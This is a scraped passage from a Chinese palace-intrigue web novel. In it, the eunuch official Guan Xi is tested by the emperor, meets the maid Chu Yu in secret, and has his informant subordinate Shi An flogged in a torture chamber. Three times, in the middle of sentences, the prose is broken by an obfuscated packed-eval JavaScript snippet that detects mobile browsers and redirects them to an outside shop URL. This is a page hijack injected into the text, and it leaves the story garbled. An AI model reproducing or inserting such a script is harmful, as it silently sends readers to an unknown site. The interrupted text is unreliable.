他抬起眼,迎上皇帝探究的目光,脸上适时地浮现出一层被误解的窘迫,声音带着恰到好处的涩然,“陛下明鉴,冯昭仪娘娘……怕是误会奴才了。奴才……奴才残缺之身,自知卑贱,岂敢有此妄想,更不敢玷污女子清誉。娘娘所说的留意……或许是因为,奴才入宫前家境贫寒,母亲皆操持生计,粗通些女红、辨识些寻常花草香料,不过是为补贴家用。入宫后,蒙冯昭仪娘娘不弃,让奴才在书斋伺候,接触了些诗词杂书,其中描写女子情态、闺阁之趣的篇章,文辞优美,奴才……奴才确实觉得好看,便多记了些。至于香粉胭脂,奴才在内缉事厂稽查宫闱用度、厘清各宫份例时,难免要接触辨别,时日久了,便也略知一二。若因此让娘娘或陛下觉得奴才……心思不正,奴才……实在惶恐,请陛下治罪。” 他一番话说得情真意切,既解释了留意的缘由,又将姿态放到最低,甚至抬出了家人和宫务需要作为佐证,合情合理,又带着底层太监特有对自身残缺的自卑。 萧衍听着,目光锁在他脸上,没有错过他任何一丝细微的表情变化,那窘迫的红晕,那躲闪,那坦荡中带着委屈的眼神,演得倒是不错。 “是吗?”萧衍不置可否,身体向后靠回引枕,语气听不出信还是不信,“朕倒觉得,冯昭仪未必是误会。少年慕艾,人之常情。即便身有残缺,心有所向,也是常事。” “关禧,你年纪也不小了。寻常太监到了你这个年纪,在宫里待久了,总有些排遣寂寞的法子。你可有?” 这话问得更加露骨,那层窗户纸被捅破了一半。 关禧袖中的手汗湿,他知道最关键的时刻到了,皇帝不仅要确认他有无外心,更是在试探他对侍奉本身的态度。 “陛下,”他声音清晰,一字一句,“奴才的命是陛下给的,奴才的一切都是陛下的。奴才……不敢有慕艾之心,更不敢有任何非分之想。奴才只知尽心办差,为陛下分忧。若陛下觉得奴才有用,奴才便是陛下手中的刀,陛下案前的笔;若陛下……若陛下需要奴才伺候,奴才……也绝无二话,唯有竭尽所能,让陛下舒心。” 他没有直接回答有无法子,而是将选择权完全交还给皇帝,并表明了自己绝对顺从,毫无个人私念的态度。这是以退为进,也是无奈之下的唯一选择。否认到底可能显得虚伪,不如坦然承认自己的一切可由君父支配,反而显得忠诚无二。 暖阁内再次陷入寂静。 霞光已完全褪去,夜幕降临,宫灯的光芒变得明亮而稳定,将两人的身影长长地投在地上。 萧衍看了他许久,久到关禧要维持不住脸上那份强装的镇定。 终于,他笑了一声,摆摆手,重新拿起榻上的书卷,仿佛刚才那番暗流汹涌的对话从未发生,“罢了。朕不过是随口一问。你办事得力,朕心里有数。内缉事厂近来事务繁杂,你要多上心。尤其是玉芙宫和坤宁宫那边,徐妃静养,皇后抚育皇子,都要确保安稳,莫让闲杂人等滋扰。” “奴才遵旨,定当竭尽全力。”关禧连忙躬身应道,背上已是一层冷汗。 “去吧。”萧衍淡淡吐出两个字。 “奴才告退。”关禧起身,行礼,后退几步,转身快步离开了暖阁。 直到踏入殿外微凉的夜风中,他才感觉到自己心跳如擂鼓,手脚都有些发软。 皇帝没有相信,也没有完全不信。那最后关于内缉事厂事务的吩咐,既是转移话题,也是一种警告和提醒:做好你的本分,看好该看的地方,别让闲杂人等,包括你自己不该有的心思,惹出麻烦。 而那句“你年纪也不小了”,“排遣寂寞的法子”,更像是一种隐晦的预告。 皇帝对他……恐怕不会一直这样放着了。 廊下,宫灯已次第亮起,连成一串昏黄的光晕,在渐浓的夜色中蜿蜒开去。 双喜一直候在乾元殿外不远的阴影里,见关禧出来,立刻小跑着迎上去,觑着他略显苍白的脸色,低声问:“督主,是回厂里,还是先回住处用膳?” 关禧没有回答。他站在高高的汉白玉台阶上,望着那连绵的宫灯,眼神晦暗不明。 皇帝今日看似随口提起冯媛的话,无论真假,都是一个极其危险的信号。冯媛……承华宫那位看似温婉与世无争的昭仪娘娘,她究竟知道多少?楚玉是他的软肋,也是他唯一能抓住的浮木,可楚玉首先是冯媛的掌事宫女,是承华宫的心腹。他们之间那些隐秘的往来,那些不足为外人道的情绪,楚玉会不会告诉冯媛?哪怕只是无意中透露一丝端倪? 冯媛一直站在皇帝与太后中间,看似不偏不倚,维持着微妙的平衡。可这种平衡是建立在她自身利益不受威胁的前提下。如果她察觉到他关禧对楚玉那点不容于世的心思,甚至更多……她会如何处置?是继续冷眼旁观,还是为了自保,或者为了别的什么,选择向其中一方递出消息?皇帝那里若知道他心里真装着个女人,哪怕是个宫女,也绝对容不下他这把干净的刀。太后那里……恐怕会更乐于握住这个把柄,将他揉捏得更彻底。 无论哪一种,他都死无葬身之地。 冷汗被夜风一吹,激起一阵寒意。他不能再等了,必须尽快和楚玉通个气,确认冯媛的态度,至少要提醒楚玉,更谨慎些。 “双喜,你悄悄去一趟承华宫,想法子递个话给青黛姑娘。”他顿了顿,脑中飞快闪过几个可能的见面地点,都被否决。宫中眼线太多,尤其是永寿宫和皇帝那边,他如今是焦点,与楚玉的接触必须万分小心。 “就跟她说,御花园西北角,假山群叠翠第二洞深处,寅时三刻。” 那是他们曾经碰面,后来偶尔用来传递紧急消息的隐秘之处,位置偏僻,入夜后几乎无人,且地形复杂,易于隐藏和撤离。 “小心些,别让人瞧见,也别留下话柄。” 双喜神色一凛,知道事关重大,连忙点头:“奴才明白,这就去办。” 关禧看着他匆匆消失在宫灯照不到的黑暗里,又在原地站了片刻,才深吸一口气,抬步朝着内缉事厂衙署的方向走去。厂里还有一堆卷宗等着他,皇帝交代的“看好玉芙宫和坤宁宫”的差事,也得立刻布置下去。他必须让自己忙起来,用繁杂的公务暂时填满那被不安噬咬的内心。 * 寅时的梆子声刚敲过不久,御花园里一片死寂。 白日里争奇斗艳的花木,此刻都成了黑黢黢的幢幢鬼影,只有远处巡夜侍卫手中灯笼的微光偶尔划过树梢。御花园的假山石洞更是幽深黑暗,月光被嶙峋的石头切割得支离破碎,只在地上投下些斑驳诡异的光斑。 关禧早已换下那身显眼的绯红蟒袍,穿着一身深青色劲装,外面罩着同色的斗篷,兜帽拉得很低,遮住了大半张脸。他潜入假山深处,在一个背风且能观察到两个入口的凹陷处潜伏下来,手按在腰间的短刃上,耳听六路,眼观八方。 时间一点点流逝,虫鸣唧唧,更显空旷。 约莫寅时三刻将至,一阵极轻的脚步声由远及近。关禧屏住呼吸,从石缝中望去,只见一个同样穿着深色衣裙,身形纤细的身影,敏捷地绕过几块山石,朝着约定的洞口方向而来。 是楚玉。 关禧没有立刻现身,又等了一会儿,确认她身后没有尾巴,周围也没有其他异常动静,才从藏身处缓缓走出,低低唤了一声:“楚玉。” 楚玉身形微顿,转过身来,看到他,眼中掠过一丝了然,快步走近,两人一同隐入假山洞内更深的阴影里。 洞里狭窄,两人挨着站立,能闻到彼此身上沾染的夜露气息,和那股冷香。 “这么急找我,出什么事了?”楚玉开门见山。 关禧看着她近在咫尺的眼睛,喉咙有些发干,将傍晚在乾元殿暖阁皇帝那番试探,以及皇帝后来关于年纪和排遣寂寞的暗示,低声复述了一遍。 “……我怕陛下不只是随口一说,他像是在敲打我,提醒我认清自己的本分。我更怕……冯昭仪娘娘那边,是不是真的察觉了什么?哪怕只是一点疑心。楚玉,娘娘她……到底知道多少?” 最后这句话问出来,关禧的心提到了嗓子眼。他紧紧盯着楚玉的眼睛,不放过她任何一丝细微的情绪变化。 楚玉偏过头,避开关禧过于灼人的注视。 “娘娘很聪明。”她没有直接回答知道或不知道,而是给出了一个事实,“有些事,不需要我明说,她也能从我的反常,从你的境遇变化里,拼凑出一些轮廓。尤其是……你对我那点心思。” 关禧的心沉了下去。 楚玉继续道,语速稍快:“但她从未明确问过我,也从未以此要挟或指示过我什么。在娘娘看来,只要这份心思不影响大局,不危及承华宫,她便乐得装作不知。甚至……在某些时候,这或许还能成为她手里一张备而不用的牌。” “可陛下今日突然提起……”关禧声音发紧,“如果陛下是从别处得了风声,故意借娘娘的口来试探我,那还好说。如果……如果陛下真的从娘娘那里听到了什么,哪怕只是模糊的印象……” “不会。”楚玉打断他,语气肯定,“娘娘不会主动向陛下透露这个。这对她没有任何好处,反而可能引火烧身。陛下今日之言,九成是试探,或许是因为你如今风头太盛,他需要敲打你,也或许……”她顿了顿,抬眼看向关禧,月光从石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239080|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝漏进一点,照见她眼中复杂的神色,“是他自己对你的兴趣,已经到了需要清理障碍的地步。他提及娘娘,可能只是为了让你疑神疑鬼,自乱阵脚,或者……暗示你,该彻底斩断某些不该有的念想,全心全意依附于他。” 这个分析现实,像一把匕首,剖开了皇帝那番话语下更可能的意图。关禧觉得胸口一阵闷痛,不仅因为皇帝的步步紧逼,更因为楚玉口中障碍和念想那两个词。 “那你呢?”他忍不住问,声音有些哑,“楚玉,我若是障碍,你会怎么办?” 楚玉微微蹙眉,侧耳倾听了一下洞外的动静,确认安全后,才转回头,语气恢复了平静:“现在不是问这个的时候。关禧,你找我出来,是为了确认娘娘的态度,我告诉你了,娘娘暂时不会成为你的威胁。但陛下那边,你必须立刻应对。” “如何应对?”关禧追问。 “皇帝既然暗示了排遣寂寞,你便不能再像从前那样一味回避或装傻。”楚玉的声音很轻,却字字清晰,“你得让他觉得,你听懂了他的话,并且愿意顺从。但这份顺从,不能显得急不可耐,失了身份,也不能真的让他觉得你毫无底线,任人拿捏。” “内缉事厂提督的身份是你的护身符,也是你的枷锁。你可以借着协理宫务,稽查风纪的名义,更自然地出现在他需要的时候。比如,他若夜间批阅奏章至深夜,你可以以禀报紧要公务为由求见,留在一旁伺候笔墨,观察他的神色,若他真有那意思……便顺势而为,但姿态要拿捏好,是忠心为主的顺从,而非谄媚邀宠的急切。” 她看着关禧变得苍白的脸,知道这番话对他而言是何等屈辱,但在这吃人的宫里,活下去才是第一要务,“至于娘娘那边,我会设法让她更清楚地知道,你的存在和我的……态度,对承华宫利大于弊。至少,在陛下和太后分出明确胜负之前,保持现状是最稳妥的。” 关禧听着她条分缕析的安排,心中翻江倒海。她要他主动去迎合皇帝可能的狎昵,又要他去稳住冯媛。每一步都踩在刀尖上,每一步都在将他推向更深的泥沼,可他却不得不承认,这是目前看来最理智,或许也是唯一的求生之策。 他忽然伸出手,握住了楚玉纤细的手腕,力道很大,“楚玉,如果我按你说的去做,变得更脏,更不堪……你还会像现在这样,站在这里,告诉我该怎么活下去吗?” 黑暗中,楚玉的呼吸乱了一拍。 许久,她才回答: “关禧,在这宫里,干净的人早就死了。你只要记住你为什么活着,记住你要讨回来的是什么。别的……不重要。” 她挣开他的手,后退一步,重新拉开了两人之间那点危险的距离,“时辰不早了,我该回去了。你也快走,小心巡逻的侍卫。” 说完,她不再看关禧,转身。 眼见那抹深色身影就要没入洞口更浓的黑暗,关禧脑子里那根名为理智的弦,“嘣”地一声断了。 他一步上前,手臂从后面环过去,紧紧箍住了楚玉的腰肢,将她整个人带进自己怀里,拉离了洞口那点微光。 太突然了。 楚玉浑身一僵,本能地肘击向后,却在触及他胸肋前硬生生顿住。 “放手。”她声音冷了下来,带着警告。 关禧哪会放。 他把脸埋在她颈后的发丝里,呼吸着那丝熟悉的冷香,所有在皇帝面前强装的镇定,所有在太后威逼下的隐忍,所有对前路莫测的恐惧,在这一刻决堤般冲垮了他努力维持的堤坝。 “……你真的就这么不在意吗?”他声音闷闷的,手臂收得更紧,像是要把她揉进骨血里,“看着我一步步被逼着,去……去爬别人的床?看着我用你教我的那些算计,去迎合、去讨好?楚玉,你教我活下去,就是教我把自己变成这样?” 他知道这话问得多幼稚,多不合时宜,多像无理取闹。在这吃人的宫廷里,情爱和贞操是最不值钱的东西,活下去才是唯一的真理。楚玉教他的,是血淋淋的现实。可他忍不住,他就是想问,想从这永远冷静,永远清醒的女人嘴里,撬出一丝不一样的情绪,哪怕只是厌恶,只是鄙夷,也好过此刻这般公事公办的不重要。 楚玉被他勒得有些喘不过气,腰间传来的力道和身后少年滚烫的体温,混合着他话语里那份委屈,像一股汹涌的暗流,冲击着她多年来筑起的心防。 她闭上眼,指尖掐进掌心,用疼痛维持着最后的清明。 “放手,关禧。”她又重复了一遍,“你弄疼我了。” 关禧像是被烫到,手臂的力道松了松,却没有完全放开,怀抱从禁锢变成了一个带着些许脆弱意味的依靠。 “……对不起。”他低声道歉,声音里的哽咽更明显了,“我知道我不该问……我知道我该听话,该按你说的去做……可我难受,楚玉,我这里难受。”他空出一只手,攥成拳头,捶了一下自己的心口,发出沉闷的声响。 “一想到以后……可能再也……再也碰不到你,再也不能这样……我就觉得,还不如……” “还不如什么?”楚玉打断他,终于转过身来。 假山洞内光线昏暗,只能勉强看清彼此模糊的轮廓和眼中一点微弱的水光。楚玉仰着脸,看着近在咫尺的关禧,看着他眼中那片濒临崩溃的黑暗和一丝孩子气的执拗。 她抬起手,用指尖拭过他眼角那一点湿意。 冰凉的指尖触碰到温热的皮肤,两人都是一颤。 “别说傻话。活着,才有以后。死了,就什么都没有了。包括你现在觉得比命还重要的这点……念想。” 她说着,指尖下滑,点在他心口刚才捶打过的地方,“这里难受,就记住这难受。记住是谁让你这么难受。然后,活下去,活得比他们都久,比他们都好。等到你能真正掌控自己命运的那一天,再来问我,在不在意。” 关禧哪能听进去。 楚玉那些关于以后,掌控命运的话,像隔着一层厚厚的水膜,模糊不清地飘过他耳畔,他眼里只有楚玉近在咫尺的脸,被昏暗光线勾勒出柔和的轮廓,那双总是清冷的眼眸映着一点微光,唇瓣开合,吐出的气息带着她特有的冷香,比任何时候都更灼热地烫在他的皮肤上。 他只想亲她。 他是这么想的,他也这么做了。 101.第 106 章 关禧回到内缉事厂衙署的时候,天色已褪去最浓的墨黑,东边天际隐约有一线惨白。 衙署所在的东安门内北新址,虽比不得乾元殿恢弘,却也占地颇广,高墙深院,门禁森严,日夜有番役值守。 自搬来这里,关禧便很少再回皇帝赐予乾元殿东侧的那处清雅院落,那里离皇帝的视线太近,而厂卫衙署,是他一手搭建起来的,是他唯一能稍作喘息的地方。 虽然这里同样布满各方眼线,但至少,规矩是他定的,阴影是他划下的。 双喜在衙署二门的廊下等着,笼着手,不住跺脚驱寒,见到关禧的身影从晨雾中出现,小跑着迎上来,低声道:“督主,您可回来了。热水一直备着,这就送沐房去?” “嗯。”关禧应了一声,他确实需要热水,需要洗去这一夜沾染的露水寒气,更需要洗去身上那份黏腻感。 衙署后进一处僻静小院,专门辟出了一间沐房,规制不算大,胜在私密。关禧脱下沾着夜露的衣服,浸入注满热水的柏木浴桶中。水温略烫,激得他皮肤泛起一层粉色,也稍稍驱散了骨髓里的寒意。他闭上眼,头后仰靠在桶沿,任由热水包裹住四肢百骸。 双喜挽起袖子,拿起一方柔软的棉布巾,开始为他擦拭肩背。动作很轻,但关禧能感觉到,双喜今日有些不同,呼吸比平时稍显急促,擦拭的动作也偶有凝滞,心里藏着事。 “有话就说。”关禧没有睁眼,淡淡开口。 双喜迟疑了片刻,才道:“督主……奴才,奴才有些话,不知当讲不当讲。” “讲。” “……是关于石安的。” 关禧的眼睫颤动了一下,“他怎么了?” 双喜咽了口唾沫,声音压低:“奴才……奴才前几日夜里有事,去后罩房寻值夜的杂役交代差事,路过西夹道时,远远瞧见石安一个人,鬼鬼祟祟地从后角门那边溜回来。奴才当时心里奇怪,后角门戌时就下钥了,他怎么能出去?又出去做什么?奴才本想叫住他问问,可他一见有人影,立刻就闪进阴影里,躲开了。” “后来奴才留心,发现不止一次。有时候是夜里,有时候是午后不当值的时候,石安总会找机会一个人溜出去,时间不长,一柱香左右就回来,但每次都避着人。回来之后,神色也说不上来,有时候像是松了口气,有时候又有点魂不守舍。” “奴才问过贵平,贵平说他也不太清楚,石安只说是督主交代的隐秘差事,不方便说。奴才也……也不敢多问。可是督主,石安是您一手从杂役堆里提拔上来的,是同乡,跟着您日子也不短了,吃穿用度从没亏待过,奴才就是觉得……他若真有什么难处,或是督主您派了差事,大可以明说,何必这样偷偷摸摸,连我和贵平都要瞒着?这厂里人多眼杂,他这般行事,万一被外人瞧见,指不定传出什么话来,对督主、对咱们厂都不好。” 话说到这里,意思已经很明白了。双喜在怀疑石安背主,私下与外人勾连。 关禧睁开眼,热水蒸腾起的白雾模糊了他的面容,也掩去了他眼底翻涌的复杂情绪。 石安。 那个瘦小沉默,眼神里总带着一丝怯懦的同乡少年。是他刚在乾元殿站稳脚跟时,从一堆做粗活,受尽欺凌的小太监里挑出来的。没什么出众的本事,就是胜在手脚还算麻利,嘴巴严实,更重要的是,看到他,关禧总会想起刚进宫时那个任人欺凌的小离子。提拔石安,让他从最底层的杂役变成能在内缉事厂衙署里走动,做些文书记录工作的体面太监,与其说是培养心腹,不如说是一种下意识的补偿,对过去那个无力自己的补偿。 石安一直很感激,做事也算勤恳,虽然胆子小,不够机灵,但交代的事情总能尽力完成。关禧对他谈不上多倚重,可也从未亏待,赏赐份例从未短缺,还因为同乡这层关系,偶尔还会多问一句家里是否安好。 在关禧心里,石安或许能力不足,忠诚应该是毋庸置疑的,一个毫无背景,全凭自己提拔才能摆脱泥淖的人,除了紧紧依附他,还能有第二条路吗? 可双喜的话,像一根细小的刺,扎进了这个看似牢固的认知里。 私下溜出去,避着人,用隐秘差事搪塞……这些行为本身,在戒备森严,规矩林立的内缉事厂,就极不寻常。石安没有理由瞒着双喜和贵平,除非他所做的事,本身就不能让他们知道,甚至……不能让他关禧知道。 是谁?皇帝?太后?司礼监?还是其他什么人? 一阵疲惫感从心底蔓延开来,这种无处不在的背叛和算计,连他亲手从泥里拉出来的人,都可能早已将刀锋对准了他的后背。 “知道了。你留心观察是对的。这事,先不要声张,尤其别让石安察觉。你暗地里多盯着他些,看他下次出去,是往哪个方向,有没有固定的时辰,接触的是什么人。小心些,别被他发现,也别打草惊蛇。有什么发现,直接报给我。” 双喜点头:“奴才明白,一定小心办妥。” “还有,”关禧补充道,“贵平那边,也先别多说。他性子直,藏不住事。” “是。” 关禧重新闭上眼,整个身体沉入热水之中,直到口鼻都没入水下,只留下乌黑的发丝漂浮在水面。 温热的水流包裹着他,却驱不散心底那股寒意。 石安……同乡…… 他不想信,可在这宫里,信任本身就是最奢侈也最危险的东西。楚玉教他如何在皇帝与太后之间走钢丝,却没告诉他,该如何面对身边人可能递来的冷箭。 或许楚玉早就知道,在这条路上,原本就该是孤身一人。 水波晃动,映出沐房屋顶模糊的梁木阴影。 关禧猛地从水中坐起,水花四溅。他抹去脸上的水渍,眼神已恢复沉静。 “更衣。”他对候在一旁的双喜吩咐道,还有很多事要做。 皇帝的敲打,太后的操控,坤宁宫微妙的平衡,内缉事厂日益庞杂的公务,以及……现在又多了一件需要他亲自查明,又最不愿面对的内部隐患。 路还很长,也很窄。 但他必须走下去。 接下来的几天,双喜缀在石安身后。他做得极小心,利用自己对衙署路径的熟悉和关禧赋予的些许权限,总能找到合适的角落或借口远远观望。 石安也有所警觉,比往日更加沉默,那张脸上,怯懦之外,又添了几分惊弓之鸟般的惶然。他不再频繁外出,但每隔两三日,总会寻一个午后文书归档或傍晚交卸杂物的由头,短暂离开衙署核心区域,朝着东北角那片堆放废旧杂物,临近一扇偏僻小门的荒僻院落溜去。 每次时间都不长,堪堪一炷香,甚至更短。回来时,脚步虚浮,眼神躲闪,偶尔会用袖子快速擦一下额角,哪怕天气并不炎热。 双喜跟了三次,摸清了大概的规律和路径,却没敢贸然靠近那片荒院,更没看清石安究竟去见谁。那扇小门外是宫墙夹道,平日少有人行,连通着好几处衙门和仓库的后巷,地形复杂。 直到第五日,黄昏时分,天际堆积着铅灰色的雨云,闷雷在远处滚动。 石安像前几次一样,抱着一摞看似要送去浆洗房,实则下面垫着废纸的旧文书,低头匆匆穿过甬道。双喜隐在一面爬满枯藤的墙后,看着他略显单薄的背影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249741|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失在月亮门后,立刻跟上。 这一次,他没再止步于荒院外。他提前安排了贵平在另一条路上故意制造些响动,自己则绕到荒院侧面一段坍塌了半截的矮墙后,借着一丛疯长的野草和渐浓的暮色遮掩,屏息凝神。 石安果然进了荒院,快步来到院角一口早已废弃,盖着厚重青石板的枯井边。他左右张望,神色紧张,然后挪开井边一块松动的砖石,塞了一个裹得严严实实的油纸包进去,又迅速把砖石恢复原状。 做完这一切,他像是完成了一件极其耗费心力的事,靠在井栏上喘息了几下,才重新抱起那摞文书,转身准备离开。 就在他转身的刹那,矮墙后,双喜窜出,扑到近前,一只手死死扣住了石安瘦伶伶的手腕,另一只手迅疾如风,捂住了他即将脱口而出的惊呼。 “唔——!”石安吓得魂飞魄散,手里的文书“哗啦”散落一地。他瞪大眼睛,看清是双喜,脸上血色褪尽,挣扎着想摆脱,可双喜虽年纪也不大,力气却比他足得多,捂着他嘴的手更是铁钳一般。 “石安,你好大的胆子!”双喜凑到他耳边,怒道,“督主待你不薄,你竟敢吃里扒外!” 石安浑身抖得如秋风中的落叶,眼里迅速蓄满了惊恐的泪水。 “有什么话,留着跟督主说去!”双喜不再废话,手上加力,半拖半拽拉着瘫软的石安向荒院外,“老实点!不然现在就叫你知道厂里的规矩!” * 内缉事厂衙署深处,地下一层。 这里没有窗,常年不见天日,只有壁上几盏长明油灯投下摇曳昏黄的光,嶙峋石壁和锈蚀刑具的影子拉得狰狞。 此刻,这间不算宽敞的刑房里,只点了一盏灯,放在正中一张铁木长案上。 案后,关禧坐着。 他身着一件墨黑的箭袖常服,领口束得严严实实,衬得他脖颈和脸颊的皮肤在昏光下愈发的苍白。他垂着眼,手里把玩着一柄出鞘的短刃,刀身映着跳动的灯火,在他指尖流转着幽暗的寒芒。 他坐得极稳,只有偶尔指尖摩挲过刀柄时细微的动作,泄露出平静水面下汹涌的暗流。 脚步声由远及近,在空旷的地下通道里回响,沉闷拖沓。 双喜推搡着石安走了进来,反手关上了厚重的铁门。 “哐当”一声闷响,隔绝了外面一切声响。 石安被推得一个踉跄,跌跪在潮湿的石地上,他抬起头,首先看到的便是案后那双抬起的丹凤眼。没有怒意,没有惊诧,只有一片深不见底的黑,倒映出他此刻狼狈惊惶,渺小如蝼蚁的身影。 “督……督主……”石安的牙齿开始打颤,声音颤得不成样子。 双喜上前一步,躬身禀报:“督主,奴才按您的吩咐盯着,今夜在东北角废院,亲眼看见他将一包东西塞进枯井的砖石下。人赃并获。”说着,双手呈上沾着泥土的油纸包。 指尖的短刃停止了转动,刀尖点在铁木案面上,关禧的目光落在那个油纸包上,停了片刻,才伸手接过,放在鼻端,嗅了一下,除了泥土和纸张的陈旧气味,还有一丝不属于衙署的熏香余韵。 他放下油纸包,重新看向石安,“石安,同乡一场,我给你一次机会。自己说,这是什么?给谁的?” 石安伏在地上,额头紧紧贴着石地,身体抖得像筛糠,却咬着嘴唇,一言不发。 “不说话?”关禧“啧”了一声,“那就是认了私下传递消息,却不肯交代幕后之人。双喜。” “奴才在。” “咱们内厂的规矩,对于吃里扒外、私通外界的,第一步是什么来着?” 102.第 107 章 双喜挺直了背,回道:“回督主,依厂规第七条:背主泄密者,初犯,杖脊三十,锁拿候审;再犯,或情节严重者,割舌剁指,以儆效尤!” “割舌剁指……”关禧重复着这四个字,目光落在石安那双因为常年做粗活显得粗糙的手上,“石安,你跟着我的时候,这双手连墨都研不好,是我让人教你,给你机会碰笔墨文书。现在,你想先用哪根手指头,来换你的沉默?” 石安一颤,像是被这句话烫到,手蜷缩起来,藏到身后,紧咬牙关。 关禧的耐心耗尽了。他对双喜抬了抬下巴:“既然他选了规矩,那就按规矩办。先杖三十。就在这里。” “是!”双喜应得毫不迟疑,转身就从墙边的刑具架上取下一根浸过桐油乌黑发亮的硬木短棍。 这棍子不长,专为行刑设计,打在人身上,皮开肉绽却不伤筋骨,是厂里惩戒内犯常用的物件。 两个一直立在阴影里的番役上前,把瘫软的石安拖到刑房中间,按倒在地,剥去他上身的褂子,露出脊背。 “督主!督主饶命啊!奴才……奴才没有……没有害您啊!”石安终于哭喊出来。 关禧恍若未闻,“打。” 双喜举起短棍,落下。 “啪!”第一下,结实打在脊梁骨上,发出一声闷响。 “啊——”石安惨叫出声,身体弓起,又瘫软下去。 “啪!啪!啪!”棍子一下接一下,节奏稳定,力道沉实。每一下都让石安发出凄厉不似人声的哀嚎,在密闭的刑房里回荡。很快,他那单薄的脊背上就浮现出一道道狰狞的红紫檩痕,有些地方破了皮,渗出血丝。 十棍下去,石安已是出的气多,进的气少,惨叫变成了断续的呻吟。 双喜停下手,看向关禧。 关禧端起案上已经凉透的茶,抿了一口,目光掠过石安血肉模糊的背,没有丝毫波动:“继续。” 又是十棍。 石安已经连呻吟的力气都没有了,只能像条离水的鱼,偶尔抽搐一下,身下的石地晕开一小片暗色的水渍,不知是汗是尿,还是血。 当双喜再次举起棍子,准备打下第二十一下时,石安用尽最后一丝力气,嘶声喊道:“我说……我说……督主饶命……我说……” 双喜的棍子停在半空,看向关禧。 关禧冷声道:“早这样,何必受这皮肉之苦。说,东西给谁?” 石安的脸贴在石地上,涕泪横流,混合着嘴角渗出的血沫,声音断断续续:“是……是孙公公……乾元殿的孙得禄,孙副总管……” 尽管早有预料可能涉及御前的人,但亲耳听到“孙得禄”这个名字从石安嘴里吐出,关禧的眼瞳还是收缩了一下,捏着茶杯的手指收紧,骨节泛起青白色。 孙得禄。皇帝跟前最得用的大太监之一,乾元殿的副总管,品级虽不及司礼监那些巨珰,却是真正日夜伴随君侧,能吹枕边风的关键人物。是他……皇帝果然从未真正放心,早就在他身边埋下了不止何璋这一颗钉子。石安这颗钉子埋得更早,更不起眼,也因为他不起眼,因为他那点可怜的同乡情分和怯懦,反而可能看到了些何璋看不到的角落。 “他让你做什么?你又告诉了他什么?”关禧的声音比刚才更冷,每个字都像淬了冰。 “他……他拿我爹娘的命威胁我……”石安泣不成声,“我爹娘年纪大了,身子不好,都在老家……孙公公说,我若不听话,他有一万种法子让他们意外没了……我没办法,督主,我真的没办法啊……” 他挣扎着抬起头,污浊的脸上满是哀求:“奴才没想害督主!孙公公也没让奴才打听什么机密……他就是让奴才留意督主平日生活起居,见了什么人,心情如何,有没有什么特别的喜好……偶尔,也问问督主在承华宫旧事,和……和青黛姑娘……” “青黛姑娘”四个字一出口,关禧周身的气息骤然一凛,刑房内本就低迷的温度又骤降了几度。 石安被他那骤然变化的气场所慑,吓得几乎失语,嗫嚅着继续交代:“奴才……奴才知道的也不多,就……就说督主您有时会一个人发呆,看着承华宫方向……说您对青黛姑娘似乎格外不同,上次您生病,青黛姑娘还悄悄给了药……奴才,奴才就说了这些,旁的真的不知道,也不敢乱说啊督主!” “啪——!” 一声清脆响亮的耳光,打断了石安哆哆嗦嗦的辩解。 不是关禧动的。是双喜。 他气得眼睛都红了,指着瘫在地上的石安,声音因为愤怒发抖:“你个忘恩负义的白眼狼!督主把你从杂役堆里提出来,给你体面,给你衣食,教你认字!你爹娘远在河间府,督主可曾亏待过你一分一毫?你的衣食父母是谁?是督主!你倒好,为了那不知真假的话,就把督主卖了!还扯上青黛姑娘!你知道你这些话递上去,会给督主、给青黛姑娘带来多大的祸事吗?!我打死你个没良心的东西!” 说着,又要上前。 “够了。”关禧出声。 双喜举起的拳头僵在半空,狠狠瞪了石安一眼,退了回去。 关禧站起身。 他绕过铁木长案,一步一步,走向瘫在地上,烂泥般的石安。 靴底踩在潮湿的石地上,发出“嗒嗒”声,他在石安面前站定,垂眸,居高临下地俯视着这个同乡,这个他曾施以怜悯,如今却将刀递向他和楚玉要害的叛徒。 孙得禄知道了,皇帝很可能也知道了,知道他关禧心里装着楚玉,知道他们之间有隐秘的往来,知道楚玉是他的软肋。 皇帝那日的敲打,那句“排遣寂寞的法子”,不仅仅是对他身体的试探,更可能是一种警告,一种对楚玉的潜在威胁。如果皇帝觉得楚玉成了他这把刀的牵绊,影响他的干净和忠诚…… 关禧不敢再想下去。 那双总是沉静或带着算计的丹凤眼,被猩红的血丝缠绕,他伸手,探向自己腰间,那里,悬着他晋升提督后,皇帝特赐的绣春刀。刀鞘乌黑,吞口处镶嵌着暗色的宝石,平日里更多是仪仗和身份的象征。 “铿——!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249742|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声清越到刺耳的金铁摩擦声炸响在刑房。 